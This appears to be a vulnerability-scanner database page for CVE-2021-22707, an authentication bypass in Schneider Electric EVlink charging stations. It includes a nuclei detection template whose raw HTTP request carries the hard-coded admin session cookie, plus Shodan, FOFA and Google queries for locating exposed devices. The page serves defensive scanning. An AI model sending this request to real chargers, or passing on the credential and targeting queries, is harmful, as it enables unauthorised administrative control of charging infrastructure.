EVlink City < R8 V3.4.0.1 - Authentication Bypass

criticalseverity

9.8CVSS score

64.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.

Impact

Unauthenticated attackers can bypass authentication via hardcoded credentials and issue unauthorized administrative commands to the charging station web server, potentially disrupting charging operations or stealing sensitive data.

Fix

Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability.

How to confirm it

Send: GET /cgi-bin/cgiServer?worker=IndexNew
Positive when: contains "?worker=Cluster\" name=\"cluster\" id=\"id_cluster" AND status 200

Run it with nuclei: nuclei -id CVE-2021-22707 -u <target>

The full check

id: CVE-2021-22707

info:
  name: EVlink City < R8 V3.4.0.1 - Authentication Bypass
  author: ritikchaddha,dorkerdevil
  severity: critical
  description: |
    A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
  impact: |
    Unauthenticated attackers can bypass authentication via hardcoded credentials and issue unauthorized administrative commands to the charging station web server, potentially disrupting charging operations or stealing sensitive data.
  remediation: |
    Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability.
  reference:
    - https://codeberg.org/AmenoCat/CVE-2021-22707-PoC/raw/branch/main/exploit.sh
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22707
    - http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22707
    cwe-id: CWE-798
    epss-score: 0.64612
    epss-percentile: 0.99248
    cpe: cpe:2.3:o:schneider-electric:evlink_city_evc1s22p4_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: schneider-electric
    product: evlink_city_evc1s22p4_firmware
    shodan-query:
      - title:"EVSE web interface"
      - http.title:"evse web interface"
    fofa-query:
      - title="EVSE web interface"
      - title="evse web interface"
    google-query: intitle:"evse web interface"
  tags: cve2021,cve,evlink,auth-bypass,schneider-electric,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '?worker=Cluster" name="cluster" id="id_cluster'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from